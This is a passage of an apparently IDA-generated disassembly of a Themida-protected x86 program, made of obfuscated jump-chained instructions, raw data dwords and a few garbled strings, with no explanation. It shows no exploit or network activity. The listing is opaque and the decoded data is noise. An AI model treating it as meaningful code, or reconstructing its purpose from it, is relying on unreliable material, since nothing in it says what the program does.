2 dup(0FFh) ; --------------------------------------------------------------------------- loc_586CFF: ; CODE XREF: Themida_:0058D3F5j add esp, 4 sub esp, 4 jmp loc_585ED3 ; --------------------------------------------------------------------------- loc_586D0D: ; CODE XREF: Themida_:0058D5C5j pop esp mov [esp], cx movzx cx, al push cx pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_586D1E: ; CODE XREF: Themida_:005887C5j push ebp mov ebp, 4 add ebx, ebp pop ebp sub ebx, 4 jmp loc_58896D ; --------------------------------------------------------------------------- loc_586D2F: ; CODE XREF: Themida_:00590317j add ebp, ecx mov ecx, [esp] add esp, 4 xchg ebp, [esp] pop esp or [esp], ax pushf jmp loc_584473 ; --------------------------------------------------------------------------- dd 76B2BB53h, 0C14B4AA6h, 814B07EBh, 457A48F3h, 6D5AE923h dd 0B60F0000h, 148B66C0h, 0E6895624h, 4C681h, 0EC810000h dd 4, 7937E9h, 5FF93100h, 2414F751h, 81240C8Bh, 4C4h, 47C2E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_586D8E: ; CODE XREF: Themida_:00590373j add esi, ebp pop ebp add ebp, esi mov esi, [esp] jmp loc_58B430 ; --------------------------------------------------------------------------- db 81h dd 20456EEh, 81C60114h, 20456C6h, 8438E914h, 0ADB60000h dd 5A66F728h, 0FE5BF920h, 2EA9E9C1h, 34870000h, 0C895C24h dd 1F8E924h, 0E95C0000h, 48EDh, 70F5E959h db 2 dup(0) word_586DD6 dw 0C8Bh ; DATA XREF: Themida_:005843F4o dd 4EC8124h, 89000000h, 0E6892434h, 9179E950h, 0C8B0000h dd 4C48324h, 8904EC83h, 0E389241Ch, 4BD55h, 0C0E90000h dd 81FFFFDFh, 4C7h, 4C78100h, 87000000h, 685C243Ch, 2D38h dd 89241489h, 2418E9E2h, 0FDBA0000h, 29D179DEh, 0CB015AD1h dd 99BE5659h, 81499541h, 5921B9C6h, 0C1D6F77Dh, 0DEE903E6h dd 8B000029h, 0C481240Ch, 4, 0DD58A905h, 30DDE95Ah, 0CC800000h dd 0B15166F1h, 66CC0094h, 94F48059h, 48BE328h, 4C48324h dd 0C380C328h, 0B151661Dh, 66CB282Bh, 57240C8Bh, 0C781E789h dd 4, 584E9h, 0B3BB5300h, 684B9D2Fh, 644Eh, 0BD242C89h dd 33E36CC7h, 0AD2A2105h, 5D1E94Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_586EA6: ; CODE XREF: Themida_:0058DFC4j add esp, 4 add eax, ebp mov ebp, [esp] add esp, 4 push eax mov eax, esp add eax, 4 sub eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_58F345 ; --------------------------------------------------------------------------- db 0E9h, 0A1h, 0D5h dd 8158FFFFh, 4C5h, 2C7AE900h, 0E3C10000h, 186BE908h, 4830000h dd 815D0424h, 4C5h, 72D86800h, 1C890000h, 4BB24h, 0BB530000h dd 2B8A354Ch, 0F381D3F7h, 662C77D8h, 4ADCE381h, 0EB8160ADh dd 0F8DD913Dh, 0E95BDD01h, 0FFFFF7D0h, 804FCE80h, 0C6806EE6h dd 0C0B353FEh, 3009E9h, 21E95900h, 53000010h, 96E9ADB3h dd 81000062h, 0B1E793C5h, 246C0184h, 9BE95D04h db 6Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_586F4F: ; CODE XREF: Themida_:00586B4Cj mov ebp, 10650EF0h jmp loc_586298 ; --------------------------------------------------------------------------- loc_586F59: ; CODE XREF: Themida_:00588EC3j push ebx jmp loc_59026F ; --------------------------------------------------------------------------- db 5Dh dd 8247C29h, 478F5D5Fh, 40478140h, 26DD18BAh, 2083E9h dd 0A0332D00h, 0C7012F69h, 4C78358h, 5C243C87h, 4C481h dd 34E90000h, 0B8000060h, 52A85972h, 0C87E9h db 0 ; --------------------------------------------------------------------------- loc_586F99: ; CODE XREF: Themida_:005901AEj mov edx, ebx mov ebx, [esp] push eax mov eax, esp push edi mov edi, 7977331Dh sub edi, 1 jmp loc_58FF11 ; --------------------------------------------------------------------------- dw 0DA09h dd 81241C8Bh, 4C4h, 52A0E900h, 0E9540000h, 0FFFFF545h dd 405h, 4BFDE900h, 87590000h, 0A6E9241Ch, 800003Fh, 0E99C2404h dd 0FFFFD48Fh, 8F04C483h, 248B2404h, 4896624h, 0D47DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_586FF6: ; CODE XREF: Themida_:00585D5Cj or edx, eax shl edx, 1 push ecx jmp loc_58B0E5 ; --------------------------------------------------------------------------- dd 24148B66h, 0FFF635E9h, 0C3095BFFh, 8324048Bh, 0C38104C4h dd 8808DACBh, 494468h, 24348900h, 18E9DE89h, 20000056h dd 0CDFE58C5h, 81B25266h, 5A66D500h, 6698E9h, 6DD86800h dd 1C890000h, 515B5424h, 175055B9h, 51E98170h, 0E9701750h dd 0FFFFDEF0h, 0E9CB015Bh, 90DBh, 54241489h, 0C36E9h, 8BCF2900h dd 0C481240Ch, 4, 658BE9h db 0 ; --------------------------------------------------------------------------- loc_587075: ; CODE XREF: Themida_:00589CCCj push eax mov eax, esp add eax, 4 push ebp mov ebp, 4 add eax, ebp pop ebp xchg eax, [esp] jmp loc_5903DD ; --------------------------------------------------------------------------- dw 0F747h dd 6E7C1DFh, 8105EFC1h, 0ABD6ACF7h, 5FF98961h, 0E907E1C1h dd 0E18h, 5357D801h, 457FADBBh, 5BDF8972h, 92D5E9h, 80B1B600h dd 0C680A0C6h, 8BF3280Fh, 0C4812414h, 4, 0FFC0B60Fh, 57568734h dd 69ECE952h, 0B60F0000h, 48F66C0h, 0D38DE987h, 0D6F7FFFFh dd 0FFE154E9h, 2434FFFFh, 7810685Eh, 34890000h, 348B5424h dd 4C48324h, 4C681h, 0BD550000h, 4, 179AEE81h, 0EE0174AAh dd 179AC681h, 335D74AAh, 34312434h, 24343324h, 0E924248Bh dd 1822h dword_58712C dd 0E9D831ADh, 0FFFFDE3Ah, 0E588F488h, 0DCE95A58h, 0F7000088h ; DATA XREF: Themida_:00584308o dd 8E2C1DAh, 8105E2C1h, 0D70002C2h, 5AD089A9h, 78E0C281h dd 0C2815843h, 6BB50099h, 5ECCE9h db 0 ; --------------------------------------------------------------------------- loc_587161: ; CODE XREF: Themida_:0058E022j pop esp mov [esp], ebp push 1 pop ebp and eax, ebp mov ebp, [esp] sub esp, 4 mov [esp], edx mov edx, esp jmp loc_58E6FC ; --------------------------------------------------------------------------- aFlSjk db 'f‹$$éjk',0 ; DATA XREF: Themida_:00584388o db 0 byte_587189 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0058433Co dd 0E1895124h, 4EC81h, 4890000h, 4B824h, 2CE90000h db 0E3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5871A3: ; CODE XREF: Themida_:00585610j mov ebp, [esp] add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp jmp loc_58475E ; --------------------------------------------------------------------------- loc_5871B8: ; CODE XREF: Themida_:0058A5E9j push eax push esi jmp loc_58A998 ; --------------------------------------------------------------------------- byte_5871BF db 66h ; DATA XREF: Themida_:00584310o dd 68240C8Bh, 6946h, 89243489h, 4BA52E6h, 81000000h, 4F6674EEh dd 53D60121h, 43F4E9h, 0DEC78100h, 1D73FDEh, 0C1835FF9h dd 0DD4AE904h, 2489FFFFh, 4BE5624h, 1000000h, 5E042474h dd 6824148Bh, 4577h, 0E9241489h, 8218h ; --------------------------------------------------------------------------- loc_587210: ; CODE XREF: Themida_:00590019j add esp, 4 mov eax, [esp] jmp loc_58FDD8 ; --------------------------------------------------------------------------- dw 0F7BDh aAsG db 0Ah db 0Dh,'a鳃',0 align 4 loc_587228: ; CODE XREF: Themida_:0058CB50j push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp add esp, 4 push 2669h mov [esp], edi push 0B7Eh mov [esp], ebp mov ebp, 320F41C1h mov edi, 0CDF1BE3Fh add edi, ebp pop ebp and eax, edi jmp loc_588AEA ; --------------------------------------------------------------------------- loc_58725C: ; CODE XREF: Themida_:00586527j mov ecx, [esp] add esp, 4 add esp, 4 or eax, eax jz loc_5891C3 push dword ptr [edi+28h] jmp loc_584693 ; --------------------------------------------------------------------------- loc_58727B: ; CODE XREF: Themida_:0058AAEEj add ah, 0E0h sub bl, 0C3h add bl, ah jmp loc_585F9B ; --------------------------------------------------------------------------- dd 4C481h, 0C7810000h, 4, 0E904C783h, 201Eh, 0E924248Bh dd 0FFFFEBA5h ; --------------------------------------------------------------------------- loc_5872A4: ; CODE XREF: Themida_:0058CEF0j add esp, 4 xor ecx, 443E4530h jmp loc_588B99 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 62CB6866h, 241C8966h, 2E93E9h db 0 ; --------------------------------------------------------------------------- loc_5872C5: ; CODE XREF: Themida_:0058B972j xchg ebx, [esp] mov esp, [esp] and eax, ebx push dword ptr [esp] pop ebx add esp, 4 shr eax, 18h xor eax, ecx jmp loc_58574C ; --------------------------------------------------------------------------- loc_5872E1: ; CODE XREF: Themida_:00586180j push 7975h mov [esp], ebx jmp loc_58A5EE ; --------------------------------------------------------------------------- loc_5872EE: ; CODE XREF: Themida_:00585A17j push 22A5h jmp loc_584B5F ; --------------------------------------------------------------------------- loc_5872F8: ; CODE XREF: Themida_:0058C3E6j ; Themida_:0058D5E7j push ecx jmp loc_58FF73 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 651368h, 24348900h, 0C681E689h, 4, 8059E9h, 4F02800h dd 24148BB9h, 5204C483h, 0F0003FB6h, 2CD8005Ah, 0E9F4043Fh dd 49AFh, 0BE56E089h, 4, 0E95EF001h, 7F4Ch, 5C24048Fh dd 0F66F1F6h, 6866CCB6h, 896674C2h, 0F66240Ch, 5166C8B6h dd 0D111E99Ch, 0E901FFFFh, 2C1835Dh, 0CFFE9h db 0 ; --------------------------------------------------------------------------- loc_58736D: ; CODE XREF: Themida_:00588434j add ecx, esi mov esi, [esp] add esp, 4 not ecx shr ecx, 2 xor ecx, 1B1E543Bh add ecx, 30DD43EAh sub esi, ecx pop ecx and esi, 62A221C8h push eax mov eax, 0FFFFFFFFh sub esi, eax pop eax xor esi, 20A0214Bh sub edx, esi pop esi xchg edx, [esp] pop esp mov [esp], dx push ax pushf jmp loc_584473 ; --------------------------------------------------------------------------- dd 11E9D829h, 0B100007Eh, 392CC5h, 7C24E9C8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5873C6: ; CODE XREF: Themida_:00588B02j push edi mov edi, 4 add ecx, edi pop edi xchg ecx, [esp] mov esp, [esp] add esp, 4 shr eax, 10h xor eax, ecx jmp loc_58B116 ; --------------------------------------------------------------------------- db 53h, 0FFh, 74h dd 8F5B0424h, 248B2404h, 0E2895224h, 4C281h, 0C0E90000h db 5Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5873FF: ; CODE XREF: Themida_:005857F3j pop ecx push 680h mov [esp], edx jmp loc_590170 ; --------------------------------------------------------------------------- db 83h, 0C7h, 2 dd 5C243C87h, 1EB55166h, 4AEB80h, 4AC380EBh, 0B60F5966h dd 7B40E9C0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58742A: ; CODE XREF: Themida_:0058653Bj xor [esp], eax jmp loc_58D67D ; --------------------------------------------------------------------------- loc_587432: ; CODE XREF: Themida_:0058D92Bj mov ebp, 4 add eax, ebp mov ebp, [esp] push ebp mov ebp, esp push eax mov eax, 628068EDh add eax, 41313899h and eax, 20E03ECDh add eax, 0DF5FDF80h jmp loc_58FBE5 ; --------------------------------------------------------------------------- db 53h, 0B7h, 95h dd 80F3F780h, 0EE80AAEEh, 0D8C5E9C0h, 0E781FFFFh, 7761142Eh dd 2DE9D7F7h, 29000033h, 0F348E9E8h, 0C4FEFFFFh, 28C4F480h dd 2434FFE1h, 2BF3E9h, 24348900h, 17968h, 24248900h, 4240483h dd 6E90685Eh, 14890000h, 4BA24h, 0C6810000h, 0B18572Dh dd 0EE81D601h, 0B18572Dh, 8324148Bh, 0C68304C4h, 4EC8102h dd 89000000h, 74FF2434h, 0D7E90424h, 6600004Ch, 0EE81665Eh dd 0BDE9310Dh, 89000017h, 0BB532434h, 6CC8131Eh, 0F703EBC1h dd 81EBD1D3h, 0AD759FEBh, 0E9DE8901h, 8B2h ; --------------------------------------------------------------------------- loc_5874FC: ; CODE XREF: Themida_:0058CC5Bj mov eax, [esp] jmp loc_58DEDD ; --------------------------------------------------------------------------- dd 0BA04C483h, 10032F26h, 685DEA31h, 2230h, 0E9243C89h dd 91F1h ; --------------------------------------------------------------------------- loc_58751C: ; CODE XREF: Themida_:005886A6j mov eax, [esp] jmp loc_5867B9 ; --------------------------------------------------------------------------- dd 0E924048Bh, 70A7h ; --------------------------------------------------------------------------- loc_58752C: ; CODE XREF: Themida_:0058F2E1j mov esi, edi pop edi shl esi, 6 xor esi, 69D5290Ah dec esi sub esi, 6FB31DECh add esi, 0E538AD87h xor ecx, esi jmp loc_584CB1 ; --------------------------------------------------------------------------- loc_58754C: ; CODE XREF: Themida_:00586AD3j add esp, 4 jmp loc_58C9FA ; --------------------------------------------------------------------------- dd 6C8AEC88h, 64880424h, 34FF0424h, 0ABE95824h db 30h, 2 dup(0) ; --------------------------------------------------------------------------- loc_587567: ; CODE XREF: Themida_:0058BE9Ej push 800h pop ecx and eax, ecx jmp loc_58BC14 ; --------------------------------------------------------------------------- loc_587574: ; CODE XREF: Themida_:0058DD67j add eax, 60AB68C6h sub eax, 232E5243h add eax, edi add eax, 232E5243h sub eax, 60AB68C6h jmp loc_589E22 ; --------------------------------------------------------------------------- loc_58758F: ; CODE XREF: Themida_:0058E485j shl ch, 2 push edx push ecx mov cl, 0C3h shl cl, 6 or cl, 7Dh add cl, 45h jmp loc_586B64 ; --------------------------------------------------------------------------- dd 0E904EC83h, 0FFFFFF33h, 42474FFh, 886FE9h, 240C8B00h dd 4EC81h, 2C890000h, 50E58924h, 4C33A3B8h, 2A790537h dd 0E8C11CC1h, 3E0C104h, 4349E9h db 0 ; --------------------------------------------------------------------------- loc_5875D9: ; CODE XREF: Themida_:005858E9j push 4081h mov [esp], edx push 28EEh mov [esp], ebx mov ebx, 789E3722h mov edx, 25166E1Eh xor edx, ebx pop ebx add eax, edx pop edx jmp loc_58B47D ; --------------------------------------------------------------------------- dw 564Dh dd 8F1311BEh, 5EF5011Ah, 11E9EF01h, 89FFFFD0h, 0E8895EF5h dd 0E98AE95Dh, 148BFFFFh, 0BDE95124h, 2800001Dh, 0C0585BDAh dd 0C28007E2h, 0D5B9E912h, 9835FFFFh, 512D86Dh, 0AED3239Ah dd 8358C129h, 0C181FFC1h, 6CBFA3D1h, 0F700B850h, 0C129EDC7h dd 343D2D58h, 0C82913A6h, 0A6343D05h, 58685913h, 0E9000004h dd 684h, 8904EC83h, 73E9243Ch db 1Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_587673: ; CODE XREF: Themida_:00585D17j push ebx mov ebx, 58B07C6Fh sub ebx, 27785586h add ebx, 62182E0Ah sub ebx, 0A5F74B3h sub ebx, 6EC640A8h add ebx, 0E86BCA98h push ebx xchg eax, [esp] not eax jmp loc_58ED61 ; --------------------------------------------------------------------------- loc_5876A2: ; CODE XREF: Themida_:0058CCFAj or edx, 4AEC545Fh sub edx, 89BFE7D1h xor edi, edx pop edx shr edi, 2 add edi, 1C66391Ch add edi, 0C649AF3Dh add ebx, edi jmp loc_58C220 ; --------------------------------------------------------------------------- aBiHjqsP db 'ëÜh¦qé×P',0 align 2 word_5876D2 dw 8B66h ; DATA XREF: Themida_:00584338o dd 0EC81240Ch, 4, 68243C89h, 1196h, 81242489h, 42404h dd 0BE90000h, 0BE00002Dh, 583541C1h, 0CD8EE81h, 0CE814092h dd 5277846h, 40CDC681h, 0EEC10873h, 7EEC108h, 7D32E681h dd 0EE814298h, 0EC5DFE12h, 4A5EF289h, 38EDCA81h, 0E2C1559Eh dd 2FF28102h, 0E92AC632h, 3336h, 0E9DAF65Bh, 64EBh, 5FF568h dd 240C8900h, 37C4BD55h, 0B951661Dh, 5DAF53F6h, 8159CD29h dd 0D80893EDh, 0DDBE5620h, 947FB76h, 814D5EF5h, 386FC4C5h dd 89E58191h, 812E184Ch, 693946EDh, 83D4E913h, 0E95E0000h dd 3E90h, 33243431h, 248B2434h, 7386824h, 0C890000h, 68D18824h dd 5D54h, 0E9241489h, 7F51h, 26B25253h, 5FDCE9h db 0 byte_5877A9 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00584204o dd 0E1895124h, 4C181h, 0BE560000h, 11525DC9h, 2366C681h dd 0C6812DE7h, 0E5B1AFFh, 4D0FE957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5877CE: ; CODE XREF: Themida_:0058CFADj xor [esp], ebx xor ebx, [esp] mov esp, [esp] mov [esp], ebx jmp loc_587EB0 ; --------------------------------------------------------------------------- loc_5877DF: ; CODE XREF: Themida_:0058594Bj add ebx, 4 jmp loc_587828 ; --------------------------------------------------------------------------- dw 0C581h dd 6D63AF7h, 27A8ED81h, 0F58150F2h, 0D64EB7BDh, 0E95DEF21h dd 0FFFFF9DDh, 0B2241489h, 0ECE953F9h db 7, 2 dup(0) ; --------------------------------------------------------------------------- loc_58780F: ; CODE XREF: Themida_:0058E4ABj mov ecx, [esp] push ebp jmp loc_58E502 ; --------------------------------------------------------------------------- dd 1E53F8B9h, 7C1813Eh, 0E9C1E1A8h, 715Ch ; --------------------------------------------------------------------------- loc_587828: ; CODE XREF: Themida_:005877E5j add ebx, 4 jmp loc_589A38 ; --------------------------------------------------------------------------- db 0BDh dd 4, 6524E981h, 0E9014D97h, 6524C181h, 0D8E94D97h db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58784B: ; CODE XREF: Themida_:0058BE19j push ecx push 7EA8h mov [esp], ebp mov ebp, 0E480497h push ebx mov ebx, 45744F4Ah add ebp, ebx pop ebx xor ebp, 5B210405h jmp loc_589CD1 ; --------------------------------------------------------------------------- loc_58786D: ; CODE XREF: Themida_:0058B937j add edi, eax pop eax xchg edi, [esp] jmp loc_58EED2 ; --------------------------------------------------------------------------- loc_587878: ; CODE XREF: Themida_:005883DAj push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_58E6CA ; --------------------------------------------------------------------------- loc_58788C: ; CODE XREF: Themida_:0058CF3Cj add esi, 4 push eax push esi mov esi, 0B4C2D3Eh jmp loc_58F8C7 ; --------------------------------------------------------------------------- word_58789E dw 8B66h ; DATA XREF: Themida_:005842D8o dd 0E068240Ch, 89000014h, 0EC83243Ch, 48F5404h, 24048124h dd 4, 0E9243C8Bh, 2EF0h ; --------------------------------------------------------------------------- loc_5878C0: ; CODE XREF: Themida_:0058BF7Dj add eax, 30BE5F25h add eax, edi sub esp, 4 mov [esp], edx mov edx, 30BE5F25h sub eax, edx pop edx push dword ptr [eax] pop ecx mov eax, [esp] push edi push esp pop edi add edi, 4 jmp loc_585B8F ; --------------------------------------------------------------------------- loc_5878EC: ; CODE XREF: Themida_:0058E4CEj sub bl, 4Eh jmp loc_58C215 ; --------------------------------------------------------------------------- dd 444BCE2Dh, 41E95F4Dh db 0ECh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5878FF: ; CODE XREF: Themida_:0058CCB5j mov ecx, 21B27447h shl ecx, 1 inc ecx inc ecx jmp loc_58BD12 ; --------------------------------------------------------------------------- loc_58790D: ; CODE XREF: Themida_:0058A27Ej add dword ptr [esp], 2C861353h jmp loc_589F8F ; --------------------------------------------------------------------------- db 0F7h, 0D3h, 81h dd 0DE4679E3h, 8FBD555Ch, 31187950h, 0DE315DEBh, 8DF6815Bh dd 930F54Fh, 0F7815EF7h, 0D3B05013h, 2D5FF889h, 1, 0E0129235h dd 14FBE963h db 2 dup(0) word_58794E dw 48Bh ; DATA XREF: Themida_:00584418o db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_58BDB8 ; --------------------------------------------------------------------------- db 0BBh dd 1782235Dh, 691CCB81h, 0EB813D52h, 251327C7h, 0F7FFC383h dd 90C381D3h, 17D0F99h, 241C8BD8h, 5204C483h, 77A368h dd 24048900h, 24021CB8h, 645FE951h, 0A0680000h, 89000009h dd 9EBF243Ch, 29247332h, 0EA015FFAh, 329EC281h, 8B5D2473h dd 815B5A0Ah, 4ECh, 242C8900h, 5D968h, 243C8900h, 6B243481h dd 0E96F4A02h, 4B2Ah, 0D0F7D0F7h, 0C0CB4435h, 58C60144h dd 73E95A5Bh, 8B000022h, 89562414h, 1EE4E9E6h, 0D8010000h dd 4055Bh, 4BE90000h, 0F7000015h, 815F2414h, 0F94097F7h dd 0E9D7F74Eh, 0F73h ; --------------------------------------------------------------------------- loc_587A0C: ; CODE XREF: Themida_:00585FD2j add esp, 4 push 63F6h jmp loc_589D79 ; --------------------------------------------------------------------------- loc_587A1C: ; CODE XREF: Themida_:005904EDj pop edx and ch, bh pop bx push edx push ebx jmp loc_5855F5 ; --------------------------------------------------------------------------- dd 2C8BEE29h, 791CE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_587A32: ; CODE XREF: Themida_:0058C252j mov eax, esp add eax, 4 jmp loc_58BEDB ; --------------------------------------------------------------------------- dw 805Ch dd 0E63093EEh, 0E630F430h, 8601EC80h, 41C680E6h, 0BDE9F030h db 56h, 2 dup(0) byte_587A57 db 66h ; DATA XREF: Themida_:00584250o db 8Bh, 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push esi mov esi, 39245B35h dec esi sub esi, 56506044h shr esi, 8 push ebp mov ebp, 1 jmp loc_58B7E1 ; --------------------------------------------------------------------------- db 81h dd 4C1h, 240C8700h, 0F3FBE95Ch, 0B951FFFFh, 3C4924AEh dd 98A3E2BAh, 59CA2987h, 55AD029h, 3A6D5A0Fh, 43D068h dd 240C8900h, 0E2506AB9h, 4EC8124h, 89000000h, 0BD55241Ch dd 45C63B3Eh, 0E5C14D4Dh, 14F75504h, 3D0E924h, 68BA0000h dd 50001A17h, 0E94827B8h, 4FEA8105h, 29512728h, 4FC281C2h dd 58512728h, 4A04EAC1h, 0BBBF281h, 0C2816890h, 0F96472Ch dd 0FFEF07E9h db 0FFh ; --------------------------------------------------------------------------- loc_587AFD: ; CODE XREF: Themida_:0058F8C9j pop esi not eax xor eax, 3C0E2508h or eax, 4A39061Bh jmp loc_58D145 ; --------------------------------------------------------------------------- db 0BDh dd 85D6F14h, 3B48E9h, 10E95100h db 1Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_587B1F: ; CODE XREF: Themida_:00588098j sub esp, 4 jmp loc_585D84 ; --------------------------------------------------------------------------- loc_587B27: ; CODE XREF: Themida_:00584B43j pop eax push edi push ebp mov ebp, 4501701h not ebp push ebx mov ebx, 555D00F6h or ebp, ebx pop ebx jmp loc_58C8AE ; --------------------------------------------------------------------------- loc_587B3F: ; CODE XREF: Themida_:0059060Ej add ebp, 6C2961DCh pop edx jmp loc_5906EA ; --------------------------------------------------------------------------- db 0C1h dd 0BE5603EAh, 7E88586Ah, 5DAC681h, 0F6816F78h, 98C15C87h dd 8A87E9h, 0A0E95000h, 53000043h, 0C78097B7h, 66E1E9ADh dd 4BE0000h, 1000000h, 5E042474h, 4C2815Ah, 0E9000000h dd 3BC3h dword_587B8C dd 240C8B66h, 24BCE9h db 0 ; --------------------------------------------------------------------------- loc_587B95: ; CODE XREF: Themida_:00588FC1j mov [esp], eax push esp mov eax, [esp] add esp, 4 jmp loc_587C42 ; --------------------------------------------------------------------------- dd 0C6FE5966h, 0AAE9CEFEh, 0BBFFFFF8h, 4, 0FFD262E9h, 61F7BDFFh dd 7EBB7224h, 31766C7Dh, 0D3F75DEBh, 601EF381h, 0C3817B76h dd 8A110828h, 74C7EA81h, 0DA01488Ah, 74C7C281h, 75E9488Ah db 0Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_587BE7: ; CODE XREF: Themida_:0058E6ABj pop edx push esi jmp loc_58D402 ; --------------------------------------------------------------------------- loc_587BEE: ; CODE XREF: Themida_:00588241j pop ebp add esp, 4 sub [edi+24h], ecx pop ecx loc_587BF9: ; CODE XREF: Themida_:00585933j push 3B23h jmp loc_58AA12 ; --------------------------------------------------------------------------- loc_587C03: ; CODE XREF: Themida_:0058F89Bj xor ecx, 1A4BADC6h add eax, ecx pop ecx pop ecx push 2BFBh mov [esp], edi mov edi, 55A01CC5h push edx jmp loc_585A54 ; --------------------------------------------------------------------------- dd 0F758C321h, 4EBC1D3h, 7AF8F381h, 51530EF7h, 194729B9h dd 19BBE977h, 0E5C00000h, 688E907h db 2 dup(0) ; --------------------------------------------------------------------------- loc_587C42: ; CODE XREF: Themida_:00587B9Fj add eax, 4 sub eax, 4 xchg eax, [esp] pop esp jmp loc_586610 ; --------------------------------------------------------------------------- aSd db 'µ-éD]',0 align 4 dd 0EBC1D3F7h, 28E95003h, 0FFFFFFF3h, 53592434h, 0C381E389h dd 4, 0FFDAB8E9h, 24248BFFh, 27B8E9h, 98E98000h, 8059CB00h dd 0E30058C3h, 8058EB80h, 34FFA8EBh, 0CFE95824h, 8B000071h dd 0C4812414h, 4, 8904EC83h, 6851243Ch, 165F1FD0h, 0D1D9F759h dd 0B4E981E9h, 812FA138h, 2022FEC1h, 0E9CF8929h, 3BDh ; --------------------------------------------------------------------------- loc_587CC8: ; CODE XREF: Themida_:005852DBj push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp jmp loc_5905A8 ; --------------------------------------------------------------------------- dw 0DD01h dd offset dword_55C548+6A1h dd 505D6600h, 405E089h, 0E9000000h, 0FFFFCA2Bh, 55243489h dd 81E78957h, 4C7h, 8281E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_587CFE: ; CODE XREF: Themida_:00588829j mov ebx, 4 push ebp mov ebp, 408826BCh add edx, ebp pop ebp sub edx, 79042320h sub edx, ebx add edx, 79042320h jmp loc_58BC08 ; --------------------------------------------------------------------------- loc_587D1F: ; CODE XREF: Themida_:00584DB8j push edx jmp loc_585D25 ; --------------------------------------------------------------------------- loc_587D25: ; CODE XREF: Themida_:0058E7C7j mov ecx, 65065045h sub ecx, 2FF93922h or ecx, 4BEC66DAh or ecx, 48D1763Bh add ecx, 0F435A6D4h add dword ptr [esp+4], 48C12319h sub [esp+4], ecx jmp loc_58E3CA ; --------------------------------------------------------------------------- db 5Ah dd 0E800AD2Ch, 98E9AD04h db 0D2h, 2 dup(0FFh) byte_587D5F db 66h ; DATA XREF: Themida_:00584298o dd 81240C8Bh, 4ECh, 305EE900h, 0F6810000h, 46C10A4Ah, 0DA4F681h dd 0EE811371h, 48134A39h, 0E6C1D6F7h, 0D1F68104h, 145724Eh dd 0F0015EF0h, 7243412Dh, 24348B33h, 0FFCA51E9h, 4E3C1FFh dd 465EEB81h, 0DF89F8E2h, 4495E95Bh, 0E95B0000h, 0FFFFDAE5h ; --------------------------------------------------------------------------- loc_587DB4: ; CODE XREF: Themida_:0058C871j push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], eax push 50441F6Eh pop eax add eax, 0AFBBE093h push eax push esi mov esi, 1DE83071h add [esp+4], esi pop esi pop edx sub edx, 1DE83071h mov eax, [esp] add esp, 4 and eax, edx push dword ptr [esp] mov edx, [esp] add esp, 4 push ecx jmp loc_5884DC ; --------------------------------------------------------------------------- loc_587E02: ; CODE XREF: Themida_:00585823j push ebp jmp loc_58A503 ; --------------------------------------------------------------------------- loc_587E08: ; CODE XREF: Themida_:0058F938j push 0 sub [esp], esi jmp loc_58A2BB ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 2EA76855h, 0BFE927EBh, 1FFFFC6h, 5E042474h, 4EC835Dh dd 0B8240489h, 4, 2A7DC581h, 0C50111E0h, 2A7DED81h, 0E95811E0h dd 52D6h, 4D3665Ch, 20E99C24h, 59FFFFC6h, 815FF901h, 4C1h dd 240C8700h, 89EA815Ch, 1092A3Eh, 89C281C2h, 81092A3Eh dd 3C49E1C2h, 0C5F9E94Ch, 0F168FFFFh, 8900007Fh, 68240Ch dd 0E923FB63h, 4B7Ch, 0BD242C89h, 8C694Bh, 4246C29h, 0C5D5E95Dh dd 0C15DFFFFh, 0C58106EDh, 0FD718ED0h, 0E95DEB89h, 0FFFFDD6Fh ; --------------------------------------------------------------------------- loc_587EB0: ; CODE XREF: Themida_:005877DAj mov bh, 0FDh jmp loc_589094 ; --------------------------------------------------------------------------- db 0FFh dd 0E9042474h, 0Bh, 0AB04B850h, 0BDE98122h, 8BFFFFCEh dd 0C481242Ch, 4, 63A2E9h db 0 ; --------------------------------------------------------------------------- loc_587ED9: ; CODE XREF: Themida_:005894BDj add ebp, esi pop esi xchg ebp, [esp] pop esp mov ax, [esp] push 1DD2h mov [esp], esi push 2991h mov [esp], esp add dword ptr [esp], 4 jmp loc_586B1D ; --------------------------------------------------------------------------- dd 50243489h, 156FF7B8h, 6FF53522h, 0B9E92215h, 5800004Eh dd 0E904E1C0h, 0B35h ; --------------------------------------------------------------------------- loc_587F1C: ; CODE XREF: Themida_:00588D65j push 6C29h mov [esp], eax sub esp, 4 jmp loc_58A6F9 ; --------------------------------------------------------------------------- db 0FFh dd 83592434h, 0EC8304C4h, 243C8904h, 443B84BFh, 91CF8155h dd 0C13D110Dh, 0C78102EFh, 0E0AAB01Dh, 0E95FFE29h, 5635h dd 0C581CD87h, 805B6801h, 2C8BEF29h, 4C48324h, 3077F781h dd 0BE565FA0h, 18605BCEh, 348BF709h, 4C48324h, 5BCAEF81h dd 0FB01BD74h, 4C3835Fh, 188668h, 241C8900h, 42474FFh dd 24048F5Bh, 24048B5Ch, 4EC81h, 3C890000h, 81E78924h dd 4C7h, 